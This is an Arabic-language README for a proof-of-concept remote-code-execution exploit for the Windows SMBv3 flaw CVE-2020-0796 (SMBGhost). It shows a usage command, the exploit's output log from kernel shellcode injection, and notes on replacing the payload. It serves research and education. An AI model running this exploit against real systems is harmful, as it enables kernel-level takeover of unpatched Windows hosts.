
استغلال لإثبات المفهوم لتنفيذ التعليمات البرمجية عن بُعد لـ CVE-2020-0796 (SMBGhost) يستهدف ثغرة ضغط SMBv3 في ويندوز مع حقن شيل كود في النواة.
RCE PoC لـ CVE-2020-0796 "SMBGhost"
لأغراض العرض التوضيحي فقط! استخدم هذا كمرجع فقط. بجدية. لم يتم اختبار هذا خارج بيئة معملي. تمت كتابته بسرعة ويحتاج بعض العمل ليكون أكثر موثوقية. أحيانًا تحصل على شاشة الموت الزرقاء (BSOD). استخدام هذا لأي غرض غير التعليم الذاتي هو فكرة سيئة للغاية. سوف يحترق جهاز الكمبيوتر الخاص بك. ستموت الجراء.
الآن بعد أن أصبح هذا خارج الموضوع....
مثال الاستخدام:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
استبدل الحمولة (payload) في USER_PAYLOAD داخل exploit.py. الحد الأقصى 600 بايت. إذا أردت أكثر، فقم بتعديل كود النواة (kernel shell code) بنفسك.
كود lznt1 من هنا. تم تعديله لإضافة دالة "ضغط سيء" (bad compression) لإتلاف رأس مخزن (buffer) SRVNET دون التسبب في تعطل.
اطلع على هذا الشرح الممتاز من شركة Ricera Security لمزيد من التفاصيل حول الطرق التي استخدمتها: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html